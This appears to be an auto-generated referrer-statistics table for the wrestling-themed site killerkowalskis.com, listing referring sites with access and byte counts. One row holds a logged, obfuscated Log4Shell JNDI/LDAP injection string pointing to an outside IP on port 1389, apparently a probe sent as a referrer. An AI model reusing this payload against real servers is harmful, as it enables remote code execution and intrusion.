Rank | Referring Site | Accesses | % | Bytes | % |
---|---|---|---|---|---|
1 | http://216.226.136.134 | 414 | 44.23 | 3,435,230 | 84.11 |
2 | https://www.google.com | 345 | 36.86 | 54,522 | 1.33 |
3 | http://killerkowalskis.com | 112 | 11.97 | 524,275 | 12.84 |
4 | http://216.226.136.134:80 | 37 | 3.95 | 28,054 | 0.69 |
5 | http://mta-sts.killerkowalskis.com | 4 | 0.43 | 0 | 0.00 |
6 | https://websitedetection.com | 4 | 0.43 | 4,426 | 0.11 |
7 | https://www.wrestling101.com | 3 | 0.32 | 0 | 0.00 |
8 | https://www.bing.com | 3 | 0.32 | 0 | 0.00 |
9 | http://blog.killerkowalskis.com | 2 | 0.21 | 0 | 0.00 |
10 | https://search.yahoo.com | 2 | 0.21 | 5,294 | 0.13 |
11 | http://w.killerkowalskis.com | 2 | 0.21 | 11,844 | 0.29 |
12 | https://www.mediaman.com.au | 2 | 0.21 | 2,213 | 0.05 |
13 | http://ww.killerkowalskis.com | 1 | 0.11 | 5,922 | 0.14 |
14 | https://www.genickbruch.com | 1 | 0.11 | 2,158 | 0.05 |
15 | http://216.226.136.134:443 | 1 | 0.11 | 0 | 0.00 |
16 |
t('${${env:nan:-j}ndi${env:nan:-:}${env:nan:-l}dap${env:nan: -:}//129.151.84.124:1389 |
1 | 0.11 | 2,158 | 0.05 |
17 | http://www.statemaster.com | 1 | 0.11 | 8,287 | 0.20 |
18 | http://blog.mta-sts.killerkowalskis.com | 1 | 0.11 | 0 | 0.00 |